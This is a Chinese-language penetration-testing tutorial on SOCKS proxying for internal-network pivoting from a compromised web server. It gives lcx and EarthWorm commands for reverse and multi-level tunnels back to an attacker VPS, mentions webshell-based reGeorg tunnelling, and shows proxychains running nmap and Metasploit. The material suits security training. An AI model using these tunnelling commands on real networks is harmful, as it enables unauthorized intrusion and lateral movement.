内网漫游之SOCKS代理大结局
字数 1893 2025-08-29 08:31:47
内网漫游之SOCKS代理技术详解
0x01 引言
SOCKS代理是内网渗透中极为重要的技术手段,相比传统的端口转发工具如nc、lcx等,SOCKS代理具有以下优势:
- 支持一对多端口映射,无需为每个端口单独建立转发
- 支持多种协议(HTTP、FTP等)
- 适用于更复杂的网络环境,特别是当目标服务器:
- 处于内网但可以访问外部网络
- 处于外网但防火墙限制了敏感端口
- 处于内网且只开放80端口,无法直接访问外网
SOCKS分为SOCKS4和SOCKS5两种类型:
- SOCKS4:仅支持TCP协议
- SOCKS5:支持TCP/UDP协议,并提供多种身份验证机制
0x02 渗透环境示例
[My PC] ←→ [VPS 139.XXX.XX.113] ←→ [WEB服务器 10.48.128.25] ←→ [内网其他服务器]
假设已控制WEB服务器(10.48.128.25),该服务器是连接外网和内网的关键节点。
0x03 传统端口转发技术
使用lcx进行3389端口转发示例:
-
在目标机器执行:
lcx.exe -slave 139.XXX.XX.113 9000 10.48.128.25 3389将目标机器3389端口数据转发到VPS的9000端口
-
在VPS执行:
lcx.exe -listen 9000 5555将VPS 9000端口数据转发到5555端口
-
通过mstsc连接VPS:5555即可访问内网3389端口
缺点:每个端口需要单独建立转发,效率低下。
0x04 SOCKS代理工具推荐
-
EarthWorm (EW)
- 支持SOCKS v5服务架设和端口转发
- 支持正向、反向、多级级联
- 跨平台(Linux/Windows/MacOS/Arm-Linux)
- 体积小(30-56KB),无需依赖
- 最新版为Termite
-
reGeorg
- 通过HTTP/HTTPS隧道转发内网端口
- 利用webshell建立SOCKS代理
- 需要服务器支持aspx/php/jsp
-
sSocks
- 支持SOCKS5验证
- 支持IPv6和UDP
- 提供反向SOCKS代理
-
SocksCap64 (Windows)
- 全局代理软件
- 使不支持SOCKS的应用程序也能通过代理
-
proxychains (Linux)
- Linux下全局代理工具
- 支持HTTP/SOCKS4/SOCKS5
- 支持多代理链
0x05 EarthWorm架设代理详解
EW有6种命令格式:
ssocksd- 正向SOCKS服务器rcsocks- 反向SOCKS监听端rssocks- 反向SOCKS服务端lcx_slave- 端口转发从端lcx_listen- 端口转发监听端lcx_tran- 端口转发传输端
1. 正向SOCKS v5服务器
适用条件:目标机器有公网IP
ew -s ssocksd -l 888
在目标机器888端口架设SOCKS5代理
2. 反弹SOCKS v5服务器
适用条件:目标机器无公网IP但可访问外网
VPS上执行:
ew -s rcsocks -l 1008 -e 888
在VPS上添加转接隧道,将1008端口请求转给888端口
目标机器执行:
ew -s rssocks -d 139.XXX.XX.113 -e 888
在目标机器启动SOCKS5服务并反弹到VPS的888端口
3. 二级网络环境(一)
拓扑:
[My PC] ←→ [VPS] ←→ [A主机] ←→ [B主机(内网)]
B主机执行:
ew -s ssocksd -l 888
在B主机888端口架设SOCKS代理
A主机执行:
ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888
将A主机1080端口请求转发到B主机的888端口
4. 二级网络环境(二)
拓扑:
[My PC] ←→ [VPS] ←→ [A主机] ←→ [B主机(内网)]
VPS执行:
ew -s lcx_listen -l 10800 -e 888
B主机执行:
ew -s ssocksd -l 999
A主机执行:
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.49 -g 999
5. 三级网络环境
拓扑:
[My PC] ←→ [VPS] ←→ [A主机] ←→ [B主机] ←→ [C主机(核心区)]
VPS执行:
ew -s rcsocks -l 1080 -e 888
A主机执行:
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.12 -g 999
B主机执行:
ew -s lcx_listen -l 999 -e 777
C主机执行:
ew -s rssocks -d 10.48.128.12 -e 777
数据流:SOCKS V5 → 1080 → 888 → 999 → 777 → rssocks
0x06 内网漫游实践
Windows下使用SocksCap64
- 安装并管理员权限运行SocksCap64
- 添加代理服务器(IP和端口)
- 测试连接
- 右键程序选择"在代理隧道中运行"
可代理的程序:
- 浏览器访问内网Web(如10.48.128.22:80)
- mstsc连接内网RDP(10.48.128.20:3389)
- Putty连接SSH(10.48.128.49:22)
- VNC客户端连接(10.48.128.25:5900)
Linux下使用proxychains
- 编辑配置文件:
vi /etc/proxychains.conf - 取消
dynamic_chain注释 - 修改代理设置为SOCKS5 VPSIP 端口
- 测试代理:
cp /usr/lib/proxychains3/proxyresolv /usr/bin/ proxyresolv www.baidu.com - 使用代理运行程序:
proxychains firefox- 代理浏览器proxychains nmap- 代理扫描proxychains msfconsole- 代理Metasploit
总结
SOCKS代理是内网渗透中极为高效的技术手段,特别是EarthWorm工具因其小巧、跨平台、功能强大而成为首选。掌握正向、反向及多级代理的配置方法,配合SocksCap64或proxychains等客户端工具,可以高效地进行内网漫游和渗透测试。